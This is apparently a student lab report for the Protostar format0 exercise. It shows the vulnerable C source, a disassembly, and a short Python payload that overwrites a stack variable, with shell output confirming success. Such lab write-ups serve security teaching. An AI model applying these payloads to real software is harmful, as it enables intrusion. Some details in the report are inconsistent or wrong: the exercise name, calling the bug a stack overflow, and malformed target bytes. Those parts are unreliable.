上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Format0

学号：522031910439　姓名：梁俊轩

2025 年 3 月 23 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 stack3 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
```

对 vlun 进行反编译：

```
0x080483f4 <vuln+0>:push   ebp
0x080483f5 <vuln+1>:mov    ebp,esp
0x080483f7 <vuln+3>:sub    esp,0x68
0x080483fa <vuln+6>:mov    DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>:mov    eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>:mov    DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>:lea    eax,[ebp-0x4c]
0x0804840b <vuln+23>:mov    DWORD PTR [esp],eax
0x0804840e <vuln+26>:call   0x8048300 <sprintf@plt>
0x08048413 <vuln+31>:mov    eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>:cmp    eax,0xdeadbeef
0x0804841b <vuln+39>:jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:mov    DWORD PTR [esp],0x8048510
```

```
0x08048424 <vuln+48>:call   0x8048330 <puts@plt>
0x08048429 <vuln+53>:leave
0x0804842a <vuln+54>:ret
End of assembler dump.
```

对 main 进行反编译：

```
0x0804842b <main+0>:push   ebp
0x0804842c <main+1>:mov    ebp,esp
0x0804842e <main+3>:and    esp,0xfffffff0
0x08048431 <main+6>:sub    esp,0x10
0x08048434 <main+9>:mov    eax,DWORD PTR [ebp+0xc]
0x08048437 <main+12>:add    eax,0x4
0x0804843a <main+15>:mov    eax,DWORD PTR [eax]
0x0804843c <main+17>:mov    DWORD PTR [esp],eax
0x0804843f <main+20>:call   0x80483f4 <vuln>
0x08048444 <main+25>:leave
0x08048445 <main+26>:ret
End of assembler dump.
```

2 漏洞分析

这是个典型的栈溢出漏洞。在 vuln 函数中，sprintf 函数的第一个参数是一个栈上的 buffer，第二个参数是用户输入的字符串，这个字符串会被写入到 buffer 中。我们可以输入任意长度的字符串，从而覆盖栈上的其他数据。在这个程序中，我们可以通过覆盖 target 的值为 0xdeadbeef 来触发漏洞。

类似于前面 stack 的实验，构造输入，题目要求输入少于 10 字节，故 buffer 部分可以改成填充 64 字节长的数据：

```
buffer= '%64d'
target= '\xef\xbe\xad\de'
print buffer+target
```

最后成功输出目标：

```
root@protostar:/opt/protostar/bin# python f0.py > exp.txt
root@protostar:/opt/protostar/bin# ./format0 `cat exp.txt`
you have hit the target correctly :)
```